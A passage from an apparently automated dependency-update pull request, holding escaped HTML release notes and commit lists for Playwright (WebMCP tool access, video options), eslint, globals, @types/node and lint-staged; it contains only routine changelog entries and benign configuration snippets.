cross-origin redirect whenever any route is registered (net::ERR_ABORTED)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev1.64.0\u003c/h2\u003e\n\u003ch2\u003e🧰 WebMCP\u003c/h2\u003e\n\u003cp\u003eNew \u003ca href=\"https://playwright.dev/docs/api/class-page#page-webmcp\"\u003epage.webmcp\u003c/a\u003e and \u003ca href=\"https://playwright.dev/docs/api/class-frame#frame-webmcp\"\u003eframe.webmcp\u003c/a\u003e give access to the tools that a page registers through the experimental \u003ca href=\"https://playwright.dev/docs/api/class-webmcp\"\u003eWebMCP\u003c/a\u003e browser API, so you can test them like any other part of your app:\u003c/p\u003e\n\u003cpre lang=\"js\"\u003e\u003ccode\u003econst browser = await chromium.launch({ args: ['--enable-features=WebMCP'] });\r\nconst page = await browser.newPage();\r\nawait page.goto('https://example.com');\r\n\u003cp\u003efor (const tool of await page.webmcp.tools())\nconsole.log(tool.name, tool.description);\u003c/p\u003e\n\u003cp\u003econst result = await page.webmcp.callTool('add', { a: 2, b: 40 });\nconsole.log(result.content[0].text); // \u0026quot;42\u0026quot;\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://playwright.dev/docs/getting-started-mcp\"\u003ePlaywright MCP\u003c/a\u003e also supports WebMCP by default, with page-defined tools offered to the agent as \u003ccode\u003ewebmcp_\u0026lt;tool\u0026gt;\u003c/code\u003e. Pass \u003ccode\u003e--no-webmcp\u003c/code\u003e to opt out.\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://playwright.dev/docs/getting-started-cli\"\u003e\u003ccode\u003eplaywright-cli\u003c/code\u003e\u003c/a\u003e exposes them as well:\u003c/p\u003e\n\u003cpre lang=\"bash\"\u003e\u003ccode\u003eplaywright-cli webmcp-list\r\nplaywright-cli webmcp-call search_catalog --params '{\u0026quot;query\u0026quot;:\u0026quot;cats\u0026quot;}'\r\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch2\u003e🎬 Better videos\u003c/h2\u003e\n\u003cp\u003eVideos can now be recorded at a custom frame rate, and the decorations for actions are styled with plain CSS:\u003c/p\u003e\n\u003cpre lang=\"js\"\u003e\u003ccode\u003e// playwright.config.ts\r\nimport { defineConfig } from '@playwright/test';\r\n\u003cp\u003eexport default defineConfig({\nuse: {\nvideo: {\nmode: 'on',\nsize: { width: 1920, height: 1080 },\nfps: 60,\nshow: {\nactions: {\nstyle: {\npoint: 'width: 20px; height: 20px; border-radius: 50%; background: red',\n\u0026lt;/tr\u0026gt;\u0026lt;/table\u0026gt;\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/cfe490d941f992655948eee8fd4fd94e1c4234bf\"\u003e\u003ccode\u003ecfe490d\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43353\"\u003e#43353\u003c/a\u003e): docs: release notes for v1.64 Python\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/866cbb864009f84d7e8e41c64fdbfceff43f280d\"\u003e\u003ccode\u003e866cbb8\u003c/code\u003e\u003c/a\u003e chore: mark v1.64.1 (\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43354\"\u003e#43354\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/1b2924712024804936dbcfe9fabaa655d52325e5\"\u003e\u003ccode\u003e1b29247\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43250\"\u003e#43250\u003c/a\u003e): fix(electron): do not drop windows that have not navigat...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/632d976826c74b0163fd5201a05b7b4853ba3f4a\"\u003e\u003ccode\u003e632d976\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43249\"\u003e#43249\u003c/a\u003e): fix(chromium): disable AvoidCorsURLLoaderRestartOnRedirect\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/824d0c5d1e10f21fcbe88d18a99d06194acde77c\"\u003e\u003ccode\u003e824d0c5\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43217\"\u003e#43217\u003c/a\u003e): chore(dotnet): fix async suffix of optional-arg overload...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/606ecd8b34bac100db32561b6278ffd76e5eb3cd\"\u003e\u003ccode\u003e606ecd8\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43192\"\u003e#43192\u003c/a\u003e): fix(locators): parse locators the way the client API bui...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/e4f872c79530583300185d3e4aa9689e2f85d0b0\"\u003e\u003ccode\u003ee4f872c\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43188\"\u003e#43188\u003c/a\u003e): feat(api): expose asLocatorDescription via LocalUtils fo...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/f6a439e6f496f75d8e8b687116eef8c21316aa1f\"\u003e\u003ccode\u003ef6a439e\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43189\"\u003e#43189\u003c/a\u003e): docs(webmcp): expose WebMCP to all languages\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/e2335c30f16196a96f81c099598803ca74f9120c\"\u003e\u003ccode\u003ee2335c3\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43174\"\u003e#43174\u003c/a\u003e): fix(mcp): do not close the browser twice when the client...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/microsoft/playwright/commit/d2a436e0111091ba99836fa6711de28201606cfc\"\u003e\u003ccode\u003ed2a436e\u003c/code\u003e\u003c/a\u003e cherry-pick(\u003ca href=\"https://redirect.github.com/microsoft/playwright/issues/43163\"\u003e#43163\u003c/a\u003e): Revert \u0026quot;fix(blob): do not remove existing reports from o...\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/microsoft/playwright/compare/v1.63.0...v1.64.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@types/node` from 26.6.1 to 26.6.5\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/DefinitelyTyped/DefinitelyTyped/commits/HEAD/types/node\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `eslint` from 10.10.0 to 10.13.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/eslint/eslint/releases\"\u003eeslint's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev10.13.0\u003c/h2\u003e\n\u003ch2\u003eFeatures\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/48d5cc47e43478670ccf95a74f7a73e8408152b5\"\u003e\u003ccode\u003e48d5cc4\u003c/code\u003e\u003c/a\u003e feat: report references inside IIFEs in \u003ccode\u003eno-use-before-define\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21238\"\u003e#21238\u003c/a\u003e) (Irfan fandi)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/a39d9fb1fdb5db546f6407580cac531ba3370450\"\u003e\u003ccode\u003ea39d9fb\u003c/code\u003e\u003c/a\u003e feat: add \u003ccode\u003eglobalThis\u003c/code\u003e to \u003ccode\u003eno-obj-calls\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21382\"\u003e#21382\u003c/a\u003e) (synthex-byte)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/66ac58383e076940c11a5d7213ad079028d1140e\"\u003e\u003ccode\u003e66ac583\u003c/code\u003e\u003c/a\u003e feat: check \u003ccode\u003eyield*\u003c/code\u003e expressions in \u003ccode\u003eno-unsafe-optional-chaining\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21399\"\u003e#21399\u003c/a\u003e) (xbinaryx)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eBug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/87bd2cef7b2309739c29598fb2be335f4bed71a3\"\u003e\u003ccode\u003e87bd2ce\u003c/code\u003e\u003c/a\u003e fix: avoid redeclared \u003ccode\u003elet\u003c/code\u003e when \u003ccode\u003eno-var\u003c/code\u003e and \u003ccode\u003eone-var\u003c/code\u003e fix together (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21389\"\u003e#21389\u003c/a\u003e) (Daniel Pinto)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eDocumentation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/4783a6806fb73ea4843ac46c6ae3d8285f56c288\"\u003e\u003ccode\u003e4783a68\u003c/code\u003e\u003c/a\u003e docs: Update README (GitHub Actions Bot)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/43f0ac90e7858a834a0e68309e6397fb4cfa72dd\"\u003e\u003ccode\u003e43f0ac9\u003c/code\u003e\u003c/a\u003e docs: clarify parameter description in \u003ccode\u003egetText\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21287\"\u003e#21287\u003c/a\u003e) (lumir)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eChores\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/b59d889c7c18d8c73144e6ba46e9e7f3e7da0196\"\u003e\u003ccode\u003eb59d889\u003c/code\u003e\u003c/a\u003e chore: update github/codeql-action action to v4.38.3 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21412\"\u003e#21412\u003c/a\u003e) (renovate[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/95e51a0518b15015304eca9844b3f64c1fc167ca\"\u003e\u003ccode\u003e95e51a0\u003c/code\u003e\u003c/a\u003e ci: re-enable \u003ccode\u003e@typescript-eslint/typescript-eslint\u003c/code\u003e in ecosystem tests (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21410\"\u003e#21410\u003c/a\u003e) (Francesco Trotta)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/317fcb365f19e912a60d171a9d5a8d1f16fe4660\"\u003e\u003ccode\u003e317fcb3\u003c/code\u003e\u003c/a\u003e chore: update ecosystem plugins (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21409\"\u003e#21409\u003c/a\u003e) (ESLint Bot)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/b92decf8ead7cc4082a18a4a0ab28f3c7c589887\"\u003e\u003ccode\u003eb92decf\u003c/code\u003e\u003c/a\u003e perf: skip no-redeclare scan for single-declaration variables (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21365\"\u003e#21365\u003c/a\u003e) (James Ross)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/47b7063b3f3f7bc7a5bcb87c082577e4e8b96e24\"\u003e\u003ccode\u003e47b7063\u003c/code\u003e\u003c/a\u003e chore: update dependency \u003ccode\u003e@​eslint/json\u003c/code\u003e to ^2.1.1 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21398\"\u003e#21398\u003c/a\u003e) (renovate[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/e5aea414cc00555ecd43f6e608bf80e0f9a6d4d6\"\u003e\u003ccode\u003ee5aea41\u003c/code\u003e\u003c/a\u003e chore: update ecosystem plugins (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21390\"\u003e#21390\u003c/a\u003e) (ESLint Bot)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev10.12.0\u003c/h2\u003e\n\u003ch2\u003eFeatures\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/4618052eed6bb3ef420cf0db0490bbda2fd835a5\"\u003e\u003ccode\u003e4618052\u003c/code\u003e\u003c/a\u003e feat: handle astral letters in \u003ccode\u003enew-cap\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21357\"\u003e#21357\u003c/a\u003e) (sary)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/4ec5168d6d6888e3f7b163eb82963d40e45a75fa\"\u003e\u003ccode\u003e4ec5168\u003c/code\u003e\u003c/a\u003e feat: allow \u003ccode\u003eSourceCode#getText()\u003c/code\u003e to accept tokens and comments (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21340\"\u003e#21340\u003c/a\u003e) (electrohyun)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eBug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/bc51eee6e3e816622b2dd1bc08acb9cfb2d3a6a7\"\u003e\u003ccode\u003ebc51eee\u003c/code\u003e\u003c/a\u003e fix: \u003ccode\u003eprefer-arrow-callback\u003c/code\u003e false positive in conditional test (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21373\"\u003e#21373\u003c/a\u003e) (Daniel Pinto)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/bbff86c41521cc435e20754e26007f657a843038\"\u003e\u003ccode\u003ebbff86c\u003c/code\u003e\u003c/a\u003e fix: skip lines with multiple comments in \u003ccode\u003emax-lines-per-function\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21332\"\u003e#21332\u003c/a\u003e) (xbinaryx)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/efc4d6bdc4c4d1dfba8bdab6a8f44f27a1b1d00a\"\u003e\u003ccode\u003eefc4d6b\u003c/code\u003e\u003c/a\u003e fix: astral letters in \u003ccode\u003econsistent-return\u003c/code\u003e, \u003ccode\u003eno-eval\u003c/code\u003e, \u003ccode\u003eno-invalid-this\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21360\"\u003e#21360\u003c/a\u003e) (lumir)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/93de066d4125f8df013d40305e8009f4634a5cba\"\u003e\u003ccode\u003e93de066\u003c/code\u003e\u003c/a\u003e fix: prefer-exponentiation-operator autofix for async function base (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21322\"\u003e#21322\u003c/a\u003e) (Vladimir Babin)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/02e34ffba6adbed72365177c7caee71d950834e5\"\u003e\u003ccode\u003e02e34ff\u003c/code\u003e\u003c/a\u003e fix: add missing space after \u003ccode\u003eelse\u003c/code\u003e in \u003ccode\u003ecurly\u003c/code\u003e autofix (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21355\"\u003e#21355\u003c/a\u003e) (Pixel)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/b14b8bc213ccfc19d3edcfa9ce6af62622661160\"\u003e\u003ccode\u003eb14b8bc\u003c/code\u003e\u003c/a\u003e fix: correct \u003ccode\u003eid-length\u003c/code\u003e message for long private names (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21348\"\u003e#21348\u003c/a\u003e) (Pixel)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/69aac01d898837a934c9e735e0b7881cc1df09e8\"\u003e\u003ccode\u003e69aac01\u003c/code\u003e\u003c/a\u003e fix: support \u003ccode\u003eTSFunctionType\u003c/code\u003e in \u003ccode\u003egetFunctionHeadLoc\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21335\"\u003e#21335\u003c/a\u003e) (xbinaryx)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/686630eb34ec1cddf399a4e6eaeebb080116a532\"\u003e\u003ccode\u003e686630e\u003c/code\u003e\u003c/a\u003e fix: \u003ccode\u003eno-loss-of-precision\u003c/code\u003e false positive with \u003ccode\u003e0.e5\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21337\"\u003e#21337\u003c/a\u003e) (sethamus)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eDocumentation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/67eb586e2eda290813b329d4f40e605ad696bc4f\"\u003e\u003ccode\u003e67eb586\u003c/code\u003e\u003c/a\u003e docs: Update README (GitHub Actions Bot)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/5370d7ee35a6523873f798e87f3ccc73779d5d21\"\u003e\u003ccode\u003e5370d7e\u003c/code\u003e\u003c/a\u003e docs: clarify \u003ccode\u003eone-var\u003c/code\u003e \u003ccode\u003eseparateRequires\u003c/code\u003e matches any \u003ccode\u003erequire()\u003c/code\u003e call (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21192\"\u003e#21192\u003c/a\u003e) (sethamus)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/8816c1ddfcfa31318ad17cddcfb68acffa30940f\"\u003e\u003ccode\u003e8816c1d\u003c/code\u003e\u003c/a\u003e docs: Update README (GitHub Actions Bot)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/3d2e7cedb7409d8a2c5f2c2fafb14fa22790e40e\"\u003e\u003ccode\u003e3d2e7ce\u003c/code\u003e\u003c/a\u003e docs: fix typo in no-unused-expressions documentation (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21346\"\u003e#21346\u003c/a\u003e) (bytedoe)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eChores\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/152067f0f81f08b6cce9cf8eeaddb8558731b4f6\"\u003e\u003ccode\u003e152067f\u003c/code\u003e\u003c/a\u003e chore: update ecosystem plugins (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21362\"\u003e#21362\u003c/a\u003e) (ESLint Bot)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/b56d58e0b1f3c919a6b7661254af760cdd909d6e\"\u003e\u003ccode\u003eb56d58e\u003c/code\u003e\u003c/a\u003e chore: update github/codeql-action action to v4.38.2 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21376\"\u003e#21376\u003c/a\u003e) (renovate[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/bfaea12ddc30b458fe4cfbb6c306a62b5299c177\"\u003e\u003ccode\u003ebfaea12\u003c/code\u003e\u003c/a\u003e perf: cache normalized config globals per languageOptions (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21364\"\u003e#21364\u003c/a\u003e) (James Ross)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/322209ef164e8a00a25ec7ca166969ddc853355c\"\u003e\u003ccode\u003e322209e\u003c/code\u003e\u003c/a\u003e ci: avoid Nx cache in ecosystem tests and disable failing test (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21369\"\u003e#21369\u003c/a\u003e) (Francesco Trotta)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/d166567901e09940c1de4ad0e95d572eeab5c927\"\u003e\u003ccode\u003ed166567\u003c/code\u003e\u003c/a\u003e chore: update dependency prettier to v3.9.9 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21371\"\u003e#21371\u003c/a\u003e) (renovate[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/29585ceba7ad35368d1b763bd1e80d899f28842c\"\u003e\u003ccode\u003e29585ce\u003c/code\u003e\u003c/a\u003e chore: update dependency eslint-plugin-expect-type to ^0.7.0 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21359\"\u003e#21359\u003c/a\u003e) (renovate[bot])\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/39d79ba9650542ac66d585d1899304abd630c07d\"\u003e\u003ccode\u003e39d79ba\u003c/code\u003e\u003c/a\u003e chore: update github/codeql-action action to v4.38.1 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21354\"\u003e#21354\u003c/a\u003e) (renovate[bot])\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/4637f9827a1ba137498eaee70957850621082815\"\u003e\u003ccode\u003e4637f98\u003c/code\u003e\u003c/a\u003e 10.13.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/96df05ceb7000813859acf16a690f8a8bbbea904\"\u003e\u003ccode\u003e96df05c\u003c/code\u003e\u003c/a\u003e Build: changelog update for 10.13.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/4783a6806fb73ea4843ac46c6ae3d8285f56c288\"\u003e\u003ccode\u003e4783a68\u003c/code\u003e\u003c/a\u003e docs: Update README\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/b59d889c7c18d8c73144e6ba46e9e7f3e7da0196\"\u003e\u003ccode\u003eb59d889\u003c/code\u003e\u003c/a\u003e chore: update github/codeql-action action to v4.38.3 (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21412\"\u003e#21412\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/95e51a0518b15015304eca9844b3f64c1fc167ca\"\u003e\u003ccode\u003e95e51a0\u003c/code\u003e\u003c/a\u003e ci: re-enable \u003ccode\u003e@typescript-eslint/typescript-eslint\u003c/code\u003e in ecosystem tests (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21410\"\u003e#21410\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/317fcb365f19e912a60d171a9d5a8d1f16fe4660\"\u003e\u003ccode\u003e317fcb3\u003c/code\u003e\u003c/a\u003e chore: update ecosystem plugins (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21409\"\u003e#21409\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/48d5cc47e43478670ccf95a74f7a73e8408152b5\"\u003e\u003ccode\u003e48d5cc4\u003c/code\u003e\u003c/a\u003e feat: report references inside IIFEs in \u003ccode\u003eno-use-before-define\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21238\"\u003e#21238\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/43f0ac90e7858a834a0e68309e6397fb4cfa72dd\"\u003e\u003ccode\u003e43f0ac9\u003c/code\u003e\u003c/a\u003e docs: clarify parameter description in \u003ccode\u003egetText\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21287\"\u003e#21287\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/a39d9fb1fdb5db546f6407580cac531ba3370450\"\u003e\u003ccode\u003ea39d9fb\u003c/code\u003e\u003c/a\u003e feat: add \u003ccode\u003eglobalThis\u003c/code\u003e to \u003ccode\u003eno-obj-calls\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21382\"\u003e#21382\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/eslint/eslint/commit/b92decf8ead7cc4082a18a4a0ab28f3c7c589887\"\u003e\u003ccode\u003eb92decf\u003c/code\u003e\u003c/a\u003e perf: skip no-redeclare scan for single-declaration variables (\u003ca href=\"https://redirect.github.com/eslint/eslint/issues/21365\"\u003e#21365\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/eslint/eslint/compare/v10.10.0...v10.13.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `globals` from 17.12.0 to 17.13.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/sindresorhus/globals/releases\"\u003eglobals's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev17.13.0\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdate globals (2026-10-01) (\u003ca href=\"https://redirect.github.com/sindresorhus/globals/issues/354\"\u003e#354\u003c/a\u003e)  b007369\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr /\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/sindresorhus/globals/compare/v17.12.0...v17.13.0\"\u003ehttps://github.com/sindresorhus/globals/compare/v17.12.0...v17.13.0\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/sindresorhus/globals/commit/ce512bc1949f918ad6c17cc864a63ab6b077764f\"\u003e\u003ccode\u003ece512bc\u003c/code\u003e\u003c/a\u003e 17.13.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/sindresorhus/globals/commit/b0073695ad35ad0cb34504f3152a20a8411306e7\"\u003e\u003ccode\u003eb007369\u003c/code\u003e\u003c/a\u003e Update globals (2026-10-01) (\u003ca href=\"https://redirect.github.com/sindresorhus/globals/issues/354\"\u003e#354\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/sindresorhus/globals/commit/16cb1fe4a57062e8b3844b0c74b4d554f53af803\"\u003e\u003ccode\u003e16cb1fe\u003c/code\u003e\u003c/a\u003e Meta tweaks\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/sindresorhus/globals/compare/v17.12.0...v17.13.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `lint-staged` from 17.5.1 to 17.6.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/lint-staged/lint-staged/releases\"\u003elint-staged's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev17.6.0\u003c/h2\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/lint-staged/lint-staged/pull/1850\"\u003e#1850\u003c/a\u003e \u003ca href=\"https://github.com/lint-staged/lint-staged/commit/938d3f43d07cbd74f08052dfb8a7380ce8868180\"\u003e\u003ccode\u003e938d3f4\u003c/code\u003e\u003c/a\u003e - Task functions like \u003ccode\u003e{ title, task }\u003c/code\u003e can now use a logger function \u003ccode\u003elog()\u003c/code\u003e to emit output while the task runs. By default, the output will only be visible if the task fails, unless the \u003ccode\u003e--verbose\u003c/code\u003e option was used. Additionally, when the task rejects, the error will be shown in the output.\u003c/p\u003e\n\u003cpre lang=\"js\"\u003e\u003ccode\u003eimport { defineConfig } from 'lint-staged/config'\n\u003cp\u003eexport default defineConfig({\n'*': {\ntitle: 'Fail if PDF files are committed',\ntask: async (filepaths, { log }) =\u0026gt; {\nconst pdfFiles = filepaths.filter((f) =\u0026gt; 